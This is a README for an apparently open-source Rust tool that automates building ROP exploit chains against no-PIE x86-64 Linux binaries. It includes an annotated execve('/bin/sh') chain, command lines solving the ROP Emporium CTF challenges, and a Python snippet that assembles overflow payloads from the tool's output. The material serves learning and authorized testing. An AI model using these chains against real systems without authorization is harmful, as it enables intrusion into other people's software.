An automatic ROP (Return-Oriented Programming) chain builder for 64-bit Linux programs.
Point it at a vulnerable program and it writes the exploit "chain" for you — the part where tools like ropper and ROPgadget stop and you normally start puzzling things out by hand.
Written in Rust. Single binary, no runtime dependencies. Solves all 8 ROP Emporium x86-64 challenges, each verified by actually running the exploit.
⚠️ This is an offensive-security tool for learning and authorized testing only. Use it on programs you own, or that you have explicit written permission to test (CTFs, your own labs, sanctioned engagements). See Legal & ethical use.
- What is this, in plain words? ← start here if the words above meant nothing
- A 2-minute primer on ROP
- Who is this for?
- Install
- Your first chain (quick start)
- Reading the output
- Command reference (all goals & flags)
- Worked examples: the ROP Emporium challenges
- Using ROPForge inside your own project
- How it works under the hood
- What it can't do (scope & honest limits)
- How it compares to other tools
- Troubleshooting & FAQ
- Contributing & development
- Legal & ethical use
- License & credits
Programs are built out of thousands of tiny machine instructions. When a program has a certain kind of bug (a "buffer overflow"), an attacker can hijack it — but modern computers block the obvious attack (injecting and running your own code). So attackers use a clever workaround called Return-Oriented Programming (ROP): instead of injecting new code, you reuse tiny snippets of the program's own code, stitched together in an order that makes the program do what you want. Think of a ransom note assembled from letters cut out of a magazine — you didn't write the letters, you just arranged existing ones into a new message.
Those reusable snippets are called gadgets. Finding them is easy (several tools do it). The hard part is figuring out which gadgets to use and in what order to achieve a goal like "launch a shell." That ordering puzzle is what people usually solve by hand.
ROPForge solves the puzzle automatically. You give it the program and tell it your goal ("call this function," "run /bin/sh," "print this file"), and it hands you a ready-to-use exploit payload.
If that's all you needed, jump to Install and Your first chain. If you want to actually understand what it's doing, read the primer next.
A few terms you'll see throughout this manual, explained once:
| Term | Plain meaning |
|---|---|
| Gadget | A tiny snippet of the program's existing code ending in a ret (return) instruction, e.g. pop rdi; ret. The building block of a ROP attack. |
| Chain | A sequence of gadget addresses (and data) laid out on the stack. When the program "returns," it runs your chain, one gadget after another. |
| Register | A tiny, fast storage slot in the CPU (rdi, rsi, rax, …). To call a function you first put its arguments into specific registers. |
| Payload | The actual bytes you feed into the vulnerable program to trigger the overflow and deliver the chain. |
| no-PIE | A program compiled at a fixed address in memory, so gadget locations are known ahead of time. ROPForge needs this (see limits). |
| Overflow offset | How many bytes of junk you send before you start overwriting the return address. You find this yourself (a standard first step); ROPForge produces everything after it. |
A typical goal — "run a shell" — comes down to: put the right values in a few registers, then trigger a system call. ROPForge finds gadgets that set those registers, orders them so they don't step on each other, and appends the trigger. That's the whole game.
New to this entirely? The friendliest way to learn is to play through ROP Emporium — ROPForge solves all of its 64-bit challenges, so you can compare your hand-built solution to the tool's.
- Learners & CTF players — get unstuck, or check your hand-built chain against a known-good one.
- Exploit-dev practitioners — skip the tedious gadget-ordering for the common goals and spend your time on the hard part.
- People building a larger project who need a ROP chain as one step — you can call ROPForge from a script and get raw payload bytes out (see Using ROPForge inside your own project). You don't need to be a ROP expert to use it this way.
- Rust developers who want a gadget-classification / chain-synthesis library to build on.
It is not a point-and-click "hack any program" button. You still need a real vulnerability and a target it supports (see limits).
Prerequisites: Rust (any recent stable toolchain). That's the only requirement — no Python, no system libraries.
# 1. Get the code
git clone https://github.com/jafeeri/ropforge.git
cd ropforge
# 2. Build it (produces a single binary)
cargo build --release
# 3. The tool is now at:
# ./target/release/ropforgeTo confirm everything works:
cargo test # runs the full test suite; should be all greenTip: the examples below use
cargo run --for convenience, which builds and runs in one step. Once built, you can call./target/release/ropforgedirectly instead — it's the same program, faster to start.
ROPForge ships with a small, intentionally-vulnerable demo program so you can try it with zero setup.
# Generate the demo binaries into fixtures/
cargo run --example gen_fixture
# Build a chain that launches a shell (execve "/bin/sh") on the demo binary
cargo run -- fixtures/demo.elfYou'll get a printed chain (explained in the next section). A few more things to try:
# See every gadget ROPForge found in the binary
cargo run -- fixtures/demo.elf --list
# Get the same chain as a ready-to-run pwntools script
cargo run -- fixtures/demo.elf --format pwntools
# Get it as raw hex bytes (handy for scripting — see the integration section)
cargo run -- fixtures/demo.elf --format rawThat's the whole loop: point at a binary → pick a goal → get a payload.
By default ROPForge prints an annotated listing — the chain, one stack slot per line, with a comment explaining each. Here's a shortened execve chain:
0x0000000000400078 ; pop rdi; ret ← a gadget: load the next value into rdi
0x0000000000400082 ; rdi = 0x400082 ← the value it loads (address of "/bin/sh")
0x000000000040007a ; pop rsi; ret ← next gadget: load rsi
0x0000000000000000 ; rsi = 0x0 ← rsi = 0 (no arguments)
...
0x0000000000400080 ; syscall ← the trigger: make the execve system call
How to read it: each line is one 8-byte value that goes on the stack, top to bottom. Lines that are gadget addresses have a ; comment naming the instruction; the line right after a pop gadget is the value that pop loads. You take these bytes, put them right after your overflow padding, and send them to the program.
--format rawgives you the same thing as one hex string (no comments) — for piping into other tools.--format pwntoolsgives you a Python script using pwntools, with each line commented, ready to adapt.
General shape of a command:
ropforge <binary> [--goal <goal>] [options] [--format <fmt>]
Goals (what kind of exploit to build) — click to expand
Set with --goal. Default is execve.
| Goal | What it builds | Key options |
|---|---|---|
execve |
execve("/bin/sh", 0, 0) via a raw system call. Needs a syscall gadget in the binary. |
— |
call |
Call a function with arguments. Function by symbol name or hex address; multiple functions run in sequence. | --func, --args, --arg-str |
system |
Call libc's system("<cmd>") through the PLT. |
--cmd, --func (defaults to system) |
ret2csu |
Set rdx/rsi/rdi via the __libc_csu_init technique when there's no direct pop, then call a function. |
--func, --args |
pivot |
Two-stage stack pivot for targets that leak a second buffer at runtime and only allow a tiny first payload. Resolves the target function through the GOT. | --func, --lib, --foothold |
fluff |
Build a string byte-by-byte using only xlatb/stosb/bextr (for targets with no normal memory-write gadget), then call a function on it. |
--func, --arg-str |
Options (all flags) — click to expand
| Flag | Meaning |
|---|---|
--goal <g> |
Which exploit to build (table above). Default execve. |
--func <spec> |
Function(s) to call. A symbol name (ret2win), a hex address (0x400756), or a comma-separated list to call in sequence (f1,f2,f3). |
--args <list> |
Register arguments, comma-separated, hex or decimal (0xdeadbeef,0,42). |
--arg-str <s> |
A string argument (≤ 8 bytes): ROPForge plants it in writable memory and passes its address as the first argument. |
--cmd <s> |
The command string for --goal system (default /bin/sh). |
--lib <path> |
For --goal pivot: the shared library that exports the target and foothold functions (used to compute their offset). |
--foothold <name> |
For --goal pivot: the imported function whose GOT entry is leaked (default foothold_function). |
--badchars <list> |
Bytes the payload must avoid, comma-separated hex (00,0a,2f). ROPForge rejects gadgets/values containing them, and for strings it XOR-encodes past them. |
--align |
Prepend a bare ret to keep the stack 16-byte aligned. Needed when a called libc function crashes on a movaps instruction (the classic "the message prints but it segfaults" symptom). |
--list |
Don't build a chain — just print every gadget found, with its address and semantic effect. |
--format <fmt> |
Output format: listing (default, annotated), raw (hex bytes), or pwntools (Python script). |
Output formats — click to expand
listing— human-readable, one stack slot per line with comments. Best for understanding.raw— the packed little-endian bytes as one hex string. Best for scripting/piping. (For--goal pivot, this prints two labelled lines,stage1andstage2.)pwntools— a paste-ready Python exploit script. For--goal pivotit's a complete interactive exploit that reads the leak, sends stage 2, and triggers the pivot.
ROPForge solves all eight x86-64 ROP Emporium challenges, and each one is execution-verified — the harness in verify/ actually runs the exploit and confirms it prints the challenge's ROPE{...} flag. These double as real usage examples:
ropforge ret2win --goal call --func ret2win --align # call a win function
ropforge split --goal system --cmd "/bin/cat flag.txt" --align # system() via the PLT
ropforge callme --goal call --func callme_one,callme_two,callme_three \
--args 0xdeadbeefdeadbeef,0xcafebabecafebabe,0xd00df00dd00df00d
ropforge write4 --goal call --func print_file --arg-str "flag.txt" # plant a string, then call
ropforge ret2csu --goal ret2csu --func ret2win --align \
--args 0xdeadbeefdeadbeef,0xcafebabecafebabe,0xd00df00dd00df00d
ropforge badchars --goal call --func print_file --arg-str "flag.txt" \
--badchars 78,67,61,2e --align # dodge forbidden bytes
ropforge pivot --goal pivot --func ret2win --lib libpivot.so # two-stage stack pivot
ropforge fluff --goal fluff --func print_file --arg-str flag.txt # byte-by-byte string buildA couple of these are worth understanding, because they show what the tool actually automates:
pivotis interactive and two-stage. The program leaks a buffer address at runtime and only lets you send a tiny first payload. ROPForge emits both stages, and with--format pwntoolsgives you a complete script that reads the leak, plants stage 2 in the leaked buffer, then pivots the stack onto it.fluffhas no normal way to write memory and nopop rdi. ROPForge builds the target filename one byte at a time using three unusual gadgets (bextr,xlatb,stosb), computing the whole per-byte schedule for you, and sourcesrdithrough__libc_csu_init.
You can reproduce all of this — see verify/README.md.
You don't have to be a ROP expert to use ROPForge as a step in a bigger tool or script. There are two ways.
1. As a command-line tool (any language). Ask for --format raw, capture the hex, and build your payload. Example in Python:
import subprocess
# Ask ROPForge for the chain as raw hex bytes
hexchain = subprocess.check_output(
["ropforge", "target.elf", "--goal", "call", "--func", "win"],
text=True,
).strip()
chain = bytes.fromhex(hexchain)
# Your job: the padding up to the saved return address (found separately).
OFFSET = 40
payload = b"A" * OFFSET + chain
# Now send `payload` to the target however you like (pwntools, sockets, a file, ...).That's the whole integration: offset (yours) + chain (ROPForge's) → payload. If your target is interactive (like pivot), use --format pwntools to get a working interactive script you can adapt.
2. As a Rust library. The crate exposes the pipeline (elf, gadgets, solver, emit) so you can classify gadgets and synthesize chains programmatically. See the module docs (cargo doc --open) and how src/main.rs wires the stages together.
ROPForge is a five-stage pipeline. You don't need this to use it, but it explains why it's fast and where its limits come from.
ELF ─▶ [load] ─▶ [find + classify gadgets] ─▶ [solve] ─▶ [emit]
goblin iced-x86, by *semantic effect* goal listing / raw /
solver pwntools
- Load — parse the ELF and pull out the executable code (via the
goblincrate). - Find — scan for gadgets by walking backward from every
ret(via theiced-x86disassembler). - Classify — this is the key idea. Each gadget is tagged with a semantic effect from a small fixed set: "pop a register," "write memory," "zero a register," "pivot the stack," and so on. The solver reasons about these effects, never about raw disassembly text.
- Solve — for your goal, request the effects you need from the catalog and lay them out in a working order (setting argument registers, planting strings, avoiding bad bytes, keeping the stack aligned).
- Emit — render the chain as a listing, raw bytes, or a pwntools script.
Because it matches patterns instead of running a constraint solver, it's fast (tens of milliseconds) and ships as one small binary. That trade-off also bounds what it can do — see the next section.
Chains are checked by an in-process simulator (src/sim.rs) that "runs" a chain over a modeled CPU without executing the real ELF — deterministic, cross-platform, and what the CI runs on every commit.
Read this before you spend an hour wondering why it won't solve your target. ROPForge is deliberately scoped, and it tells you why it can't do something rather than emitting a broken chain.
- Architecture / format: x86-64 ELF only. No 32-bit, no ARM, no Windows PE (yet).
- no-PIE only. The binary must load at a fixed address (compiled with
-no-pie). Position-independent executables (PIE, the modern default) are refused, because their addresses aren't known until runtime. Defeating ASLR/PIE is out of scope for now. - You supply the overflow offset. ROPForge builds everything after the saved return address; finding the offset (e.g. with a cyclic pattern) is a separate, standard first step.
- Pattern-based, so recall is bounded. If a goal needs a register that has no clean gadget to set it — the classic example is
rdxon a stripped-down modern binary — ROPForge will honestly refuse rather than guess. A heavier symbolic tool (see below) may find a way where ROPForge won't. This is the deliberate trade-off for being fast and dependency-free. - Modern toolchains are harder. glibc ≥ 2.34 removed
__libc_csu_init, which was a rich source of gadgets, so small modern binaries can simply lack the gadgets any tool would need. - String planting is limited to short strings (≤ 8 bytes) for the string-argument path.
When a target is out of scope, you get a clear message (e.g. "target is PIE/ASLR; only no-PIE is supported"), not a silent wrong answer.
Short version: ROPForge sits between gadget finders and symbolic solvers.
| Tool | What it does | vs. ROPForge |
|---|---|---|
| ropper / ROPgadget | List gadgets and let you search them. | They find; they don't assemble a working chain. ROPForge does the assembly. |
| angrop (part of angr) | Symbolically reasons about gadgets and synthesizes chains for general goals. | More general (can crack hard cases ROPForge refuses), but heavy to install and can take minutes per binary. ROPForge is ~40× faster on the targets we measured, ships as one binary, and on binaries with clean gadgets was actually more reliable in our tests. |
If you need maximum recall on an awkward target and don't mind the weight, reach for angrop. If you want a fast, portable tool that solves the common cases and the full ROP Emporium set, ROPForge is the lighter choice. (Full head-to-head numbers are in the project's evaluation notes.)
"The chain prints but the program crashes / segfaults."
Almost always stack alignment. Add --align — it inserts a ret so a called libc function doesn't crash on a movaps. This is the single most common gotcha.
"target is PIE/ASLR; only no-PIE is supported."
Your binary is position-independent. ROPForge needs a no-PIE target. If it's your own binary, recompile with -no-pie -fno-stack-protector.
"cannot set rdx / no clean gadget." The binary genuinely lacks a gadget for that register (common on modern/small binaries). This is a real limit, not a bug — see scope. A symbolic tool like angrop may succeed here.
"no usable syscall gadget."
--goal execve needs a syscall instruction in the binary, which dynamically-linked programs often don't have. Try --goal system (calls libc's system through the PLT) or --goal call instead.
"How do I find the overflow offset?"
That's a separate first step. Send a unique cyclic pattern, see which 8 bytes land in the instruction pointer at the crash, and compute the offset. pwntools' cyclic helps. ROPForge assumes you know it.
"It found gadgets (--list shows them) but won't solve."
The gadgets it needs for your specific goal may be missing even if others exist. --list shows everything; the solver needs particular effects. The error message names the missing capability.
cargo build # debug build
cargo test # unit + property + end-to-end tests
cargo clippy --all-targets -- -D warnings # lints (CI enforces these)
cargo fmt --all # formattingCI runs formatting, clippy (as errors), and the full test suite on every push. The codebase is small and each stage lives in its own module (elf, gadgets, solver, emit, sim). Adding a new technique usually means adding a gadget effect to the classifier plus a short solver routine. Issues and PRs welcome.
ROPForge is an offensive-security tool. Return-oriented programming is an exploitation technique, and this tool automates part of it.
Only use it on software you own or are explicitly authorized in writing to test — your own labs, CTF competitions, or sanctioned security engagements with a scope agreement. Using it against systems you don't have permission to test is illegal in most jurisdictions and can cause real harm. The intentionally-vulnerable demo binaries here exist so you can learn safely.
The authors provide this for education, research, and authorized testing, and accept no liability for misuse. If you're new to the field, learn on ROP Emporium and other deliberately-vulnerable practice targets, not on software other people rely on.
Released under the MIT License — see LICENSE.
Built on the excellent goblin (ELF parsing) and iced-x86 (x86 disassembly) crates. Benchmarked against angrop and ropper. Test corpus from ROP Emporium.